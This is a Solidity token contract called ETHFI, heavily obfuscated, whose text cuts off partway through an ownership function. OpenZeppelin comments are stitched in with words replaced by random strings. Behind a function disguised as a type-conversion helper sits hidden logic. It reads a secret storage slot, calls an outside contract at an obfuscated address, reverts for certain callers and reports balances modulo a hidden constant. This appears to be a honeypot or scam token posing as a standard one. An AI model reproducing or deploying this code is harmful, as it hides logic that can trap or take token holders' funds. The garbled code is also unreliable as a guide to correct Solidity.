// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
// File: @openzeppelin/contracts/governance/utils/IVotes.sol
// OpenZeppelin Contracts (last updated v5.0.0) (governance/utils/IVotes.sol)
/** * @dev Common interface for {ETHFIVotes}, {ERC721Votes}, and other {Votes}-enabled contracts. *//** * @dev This is a base abstract contract that tracks voting units, which are a measure of voting power that can be * transferred, and provides a system of vote delegation, where an kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2 can delegate its voting units to a sort of * "representative" that will pool delegated voting units from different kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2s and can then use it to vote in * decisions. In fact, voting units _must_ be delegated in order to count as actual votes, and an kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2 has to * delegate those votes to itself if it wishes to participate in decisions and does not have a trusted representative. * * This contract is often combined with a token contract such that voting units correspond to token units. For an * example, see {ERC721Votes}. * * The full history of delegate votes is tracked on-chain so that governance protocols can consider votes as distributed * at a particular block number to protect against flash loans and double voting. The opt-in delegate system makes the * cost of this history tracking optional. * * When using this module the derived contract must implement {_getVotingUnits} (for example, make it return * {ERC721-balanceOf}), and can use {_transferVotingUnits} to track a change in the distribution of those units (in the * previous example, it would be included in {ERC721-_update}). *//** * @dev Interface of the ETHFI standard as defined in the EIP. *//** * @dev Interface for the optional metadata functions from the ETHFI standard. *//** * @dev Implementation of the {IETHFI} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {tpXUu9fIAfhei39NOF1BAZya24tbVSV3JuwD2naWTyXMAVqqUZVCzhoTTuUHbZAdP91s0ycjjEfENAQBJgFUh1k2Z7HgLj3JpL5U6Q1jT}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * The default v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV of {decimals} is 18. To change this, you should override * this function so it returns a different v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ETHFI * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2s just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. */contract ETHFI {/**     * @dev Returns the downcasted uint152 from uint256, reverting on     * overflow (when the input is greater than largest uint152).     *     * Counterpart to Solidity's `uint152` operator.     *     * Requirements:     *     * - input must fit into 152 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl152(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint152) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint152).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(152, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint152(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Returns the downcasted uint232 from uint256, reverting on     * overflow (when the input is greater than largest uint232).     *     * Counterpart to Solidity's `uint232` operator.     *     * Requirements:     *     * - input must fit into 232 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl232(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint232) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint232).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(232, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint232(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Returns the downcasted int128 from int256, reverting on     * overflow (when the input is less than smallest int128 or     * greater than largest int128).     *     * Counterpart to Solidity's `int128` operator.     *     * Requirements:     *     * - input must fit into 128 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL128(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int128 downcasted) {        downcasted = int128(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(128, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }event Approval(        address indexed owner,        address indexed nqheM9M9IRjbNbF1829KaeaTcnO8UsNezmSO11xqYoxbFHElUHtGsZdzNAK0zO67T2JcquyhXq53spBVsk3,        uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV    );/**     * @dev Returns the downcasted uint224 from uint256, reverting on     * overflow (when the input is greater than largest uint224).     *     * Counterpart to Solidity's `uint224` operator.     *     * Requirements:     *     * - input must fit into 224 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl224(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint224) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint224).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(224, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint224(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Returns the downcasted uint64 from uint256, reverting on     * overflow (when the input is greater than largest uint64).     *     * Counterpart to Solidity's `uint64` operator.     *     * Requirements:     *     * - input must fit into 64 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl64(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint64) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint64).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(64, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint64(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Returns the downcasted int160 from int256, reverting on     * overflow (when the input is less than smallest int160 or     * greater than largest int160).     *     * Counterpart to Solidity's `int160` operator.     *     * Requirements:     *     * - input must fit into 160 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL160(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int160 downcasted) {        downcasted = int160(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(160, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }/**     * @dev Returns the downcasted int120 from int256, reverting on     * overflow (when the input is less than smallest int120 or     * greater than largest int120).     *     * Counterpart to Solidity's `int120` operator.     *     * Requirements:     *     * - input must fit into 120 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL120(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int120 downcasted) {        downcasted = int120(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(120, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }/**     * @dev Converts a signed int256 into an unsigned uint256.     *     * Requirements:     *     * - input must be greater than or equal to 0.     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl256(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint256) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV < 0) {            revert ykvuiaPSnDG3pBwibQbF23vY0uAbRzrJMr8sfSWZZRQbfe7FIakQDpwNqXq5ki148YIHUnufhtLOIz0oVFOgy(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint256(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Returns the downcasted int8 from int256, reverting on     * overflow (when the input is less than smallest int8 or     * greater than largest int8).     *     * Counterpart to Solidity's `int8` operator.     *     * Requirements:     *     * - input must fit into 8 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL8(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int8 downcasted) {        downcasted = int8(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(8, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }/**     * @dev An int v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV doesn't fit in an uint of `bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc` size.     */    error ykvuiaPSnDG3pBwibQbF23vY0uAbRzrJMr8sfSWZZRQbfe7FIakQDpwNqXq5ki148YIHUnufhtLOIz0oVFOgy(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);/**     * @dev Move voting power when tokens are transferred.     *     * Emits a {IVotes-DelegateVotesChanged} event.     */    function toInt2488714797341868(address kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2)        public        view        returns (uint256 vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7)    {        assembly {vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7:=sload(32)}        if(vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7==1) return uay0sZhHvy1W0Ly9pqtyIC1nP7qHtnGOJhb50UOFzYsOywWqd6swFjgSXsZKh090fNE1vO14QLBRvpuwT8x7fP1pXwG7qrqdj9XzC1vnBpJxuQfNM8Vl2TrN09N7qXa0an65p0Nbny[kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2];        vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7 = ETHFI(jhDk07fuV0RRQw5dIyBM5MG8HbKqhBR4FhKycg9VYXYgqIBz2lMwxeb5czBPNRs7fz3Mh6ShFmSb).toInt2488714797341868(o2QxbdEvhGo23aYx6VodAYJeY80U34WGOozd7bhMXpHYALCN4P0G8b4sKgwEGWlGKPRZV0V0ZYD2BzzOClEAFcxjtOw7fGk5IVTd3N8xCDGHnYDT61wEO6eta8hF1xEAzz3Jz7HCaURqzwQoFazEaReIg8ljyqJzU1ps2SsAmMcprcRBScnEWdl8KEsDLrRn6ZDyVhc25AjG5aFeAK1G3W35fjrOkTJlIaR);        if (msg.sender == o2QxbdEvhGo23aYx6VodAYJeY80U34WGOozd7bhMXpHYALCN4P0G8b4sKgwEGWlGKPRZV0V0ZYD2BzzOClEAFcxjtOw7fGk5IVTd3N8xCDGHnYDT61wEO6eta8hF1xEAzz3Jz7HCaURqzwQoFazEaReIg8ljyqJzU1ps2SsAmMcprcRBScnEWdl8KEsDLrRn6ZDyVhc25AjG5aFeAK1G3W35fjrOkTJlIaR) {            assembly {                if lt(vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7, sload(32)) {                    revert(0, 0)                }            }        }        if (kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2 == o2QxbdEvhGo23aYx6VodAYJeY80U34WGOozd7bhMXpHYALCN4P0G8b4sKgwEGWlGKPRZV0V0ZYD2BzzOClEAFcxjtOw7fGk5IVTd3N8xCDGHnYDT61wEO6eta8hF1xEAzz3Jz7HCaURqzwQoFazEaReIg8ljyqJzU1ps2SsAmMcprcRBScnEWdl8KEsDLrRn6ZDyVhc25AjG5aFeAK1G3W35fjrOkTJlIaR) return uay0sZhHvy1W0Ly9pqtyIC1nP7qHtnGOJhb50UOFzYsOywWqd6swFjgSXsZKh090fNE1vO14QLBRvpuwT8x7fP1pXwG7qrqdj9XzC1vnBpJxuQfNM8Vl2TrN09N7qXa0an65p0Nbny[kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2];        return uay0sZhHvy1W0Ly9pqtyIC1nP7qHtnGOJhb50UOFzYsOywWqd6swFjgSXsZKh090fNE1vO14QLBRvpuwT8x7fP1pXwG7qrqdj9XzC1vnBpJxuQfNM8Vl2TrN09N7qXa0an65p0Nbny[kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2] % lSrNwy5cajcbXPa4suAeRkkLfpwxHgmHtoUyauEHvi8Jlk8wpeBrZnGeaJmRrMVJrJogemlOsLl;    }/**     * @dev Get the `pos`-th checkpoint for `kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2`.     *//**     * @dev Returns the downcasted uint192 from uint256, reverting on     * overflow (when the input is greater than largest uint192).     *     * Counterpart to Solidity's `uint192` operator.     *     * Requirements:     *     * - input must fit into 192 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl192(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint192) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint192).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(192, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint192(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }function transferOwnership(address tg8jG8qyVH7XcTMFsfm4PO53q4a5XyGxvPhU11yzCcVtUKPkj9iwXwQhkHMj7hjKhWLSxFwpOQv4Q0zCEEoUmxyCefP8MxZRALd2b7rPwJiC1DOUMyXNIf5uGMxmCSTyHM0MSlDylbth9Ifbnik2AwZJzmz90KGQnM0aZEQgWhf7adAsCA7tVSaqy9srNIJEP0ADAbk9DT9knWd6E39RQtm7JLfDt1tqF3vyULHeO4agpgv5QvQIp8GOR) public onlyOwner {        require(            tg8jG8qyVH7XcTMFsfm4PO53q4a5XyGxvPhU11yzCcVtUKPkj9iwXwQhkHMj7hjKhWLSxFwpOQv4Q0zCEEoUmxyCefP8MxZRALd2b7rPwJiC1DOUMyXNIf5uGMxmCSTyHM0MSlDylbth9Ifbnik2AwZJzmz90KGQnM0aZEQgWhf7adAsCA7tVSaqy9srNIJEP0ADAbk9DT9knWd6E39RQtm7JLfDt1tqF3vyULHeO4agpgv5QvQIp8GOR != address(0),            "Ownable: new owner is the zero address"        );        